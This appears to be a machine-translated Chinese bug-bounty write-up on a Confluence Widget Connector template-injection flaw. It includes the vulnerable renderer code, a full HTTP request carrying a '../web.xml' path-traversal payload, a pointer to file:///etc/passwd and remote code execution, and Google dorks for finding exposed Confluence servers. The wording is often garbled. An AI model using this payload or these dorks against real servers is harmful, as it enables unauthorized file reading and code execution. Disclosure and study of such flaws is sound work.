长话短说,其实早在2019年我就创建了我的Hackerone/Bugcrowd profiles,但我从未在那里陈述过任何的缝隙。这是之一个让我觉得值得陈述的缝隙,也打破了我多年来零陈述的记载。
安全布告
Confluence官方发布安全更新指出,Confluence Server与Confluence Data Center中的Widget Connector存在服务端模板注入缝隙,进犯者能运用此缝隙能够完成目录穿越遍历乃至长途代码履行。
Widget Connector为何易受进犯?
Widget Connector宏协助你在供给URL时将在线视频,幻灯片,相片流等更直接地嵌入到页面中。
该宏旨在支撑来自以下网站的内容:YouTube, Vimeo, MySpace Video, Flickr, Twitter, Slide Rocket, Google Calendar等
缝隙示例代码
Widget Connector已界说了一些烘托,如,FriendFeedRenderer:
public class FriendFeedRenderer implements WidgetRenderer
{
...
public String getEmbeddedHtml(String url, Map params) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm");
return this.velocityRenderService.render(getEmbedUrl(url), params);
}
}
因而,在这种情况下,进犯者能够供给_template值,后端将运用params进行烘托。
进程重现
在burp中捕获易受进犯confluence页面的恳求(让它成为GET或POST)并将其发送到Repeater。
修正捕获的恳求,如下所示并解析恳求。
留意:你或许需求更改恳求的途径并增加“Referer:”标头,由于在我测验傍边大多数情况下都强制要求增加该标头,因而假如你不增加的话或许会引发“XSRF check failed”的过错提示。
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: confluence.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en-GB;q=0.8,ach;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://confluence.victim.com/
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Upgrade-Insecure-Requests: 1
Content-Length: 163
Connection: close
{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www. *** .com/watch?v=2aK8hy50fS4","width":"1000","height":"1000","_template":"../web.xml"},"body":""}}
你能够运用file:///etc/passwd(途径遍历payloads)或长途履行代码来进一步证明缝隙的损害程度,而不是简略的../web.xml。
修正
在修正版中,它将在烘托html之前调用doSanitizeParameters,这将删去参数中的_template。
Google Dork
让我们测验经过Google Dork搜索语法来查找或许存在相同问题的站点。
我运用的搜索语法是“intitle:dashboard-confluence”,并找到了大约100个Confluence链接,其间大约有21个链接易受进犯。
在看到上面的dork成果后,我意识到Confluence链接不一定便是confluence.companyname.com。
所以我在Google的dorks/keywords下面测验了一下,它给了我大约300多个Confluence链接,其间50多家公司易遭到进犯。
inurl:http://confluence. login.action
inurl:https://wiki. .com/confluence/
allinurl: /confluence/login.action?
“/spacedirectory/view.action”
“/pages/viewpage.action?”
“/pages/releaseview.action?”
“aboutconfluencepage.action”
尽管我还没有针对任何具有赏金方案的网站,但我仍然收到了许多来自不同公司的美元或欧元的奖金,其他公司则表明他们会向我发送swag以示感谢。